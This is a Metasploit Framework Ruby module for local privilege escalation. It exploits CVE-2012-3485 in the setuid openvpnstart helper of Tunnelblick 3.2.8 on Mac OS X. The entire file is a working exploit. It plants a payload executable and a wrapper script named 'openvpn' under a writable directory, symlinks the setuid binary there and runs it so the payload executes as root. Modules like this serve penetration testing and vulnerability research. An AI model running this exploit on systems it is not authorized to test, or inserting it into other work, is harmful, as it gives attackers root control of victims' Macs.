##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => 'Setuid Tunnelblick Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
vulnerability exists in the setuid openvpnstart, where an insufficient
validation of path names allows execution of arbitrary shell scripts as root.
This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
over Mac OS X 10.7.5.
},
'References' =>
[
[ 'CVE', '2012-3485' ],
[ 'EDB', '20443' ],
[ 'URL', 'http://blog.zx2c4.com/791' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
'juan vazquez' # Metasploit module
],
'DisclosureDate' => 'Aug 11 2012',
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'Targets' =>
[
[ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
[ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
], self.class)
end
def check
if not file?(datastore["Tunnelblick"])
print_error "openvpnstart not found"
return CheckCode::Safe
end
check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
if check =~ /openvpnstart/
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def clean
file_rm(@link)
cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")
end
def exploit
print_status("Creating directory...")
cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"
exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)
cmd_exec "chmod +x #{@exe_file}"
evil_sh =<<-EOF
#!/bin/sh
#{@exe_file}
EOF
@sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"
print_status("Dropping shell script #{@sh_file}...")
write_file(@sh_file, evil_sh)
cmd_exec "chmod +x #{@sh_file}"
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
print_status("Creating symlink #{@link}...")
cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
print_status("Running...")
begin
cmd_exec "#{@link} OpenVPNInfo 0"
rescue
print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
clean
return
end
print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
end
end
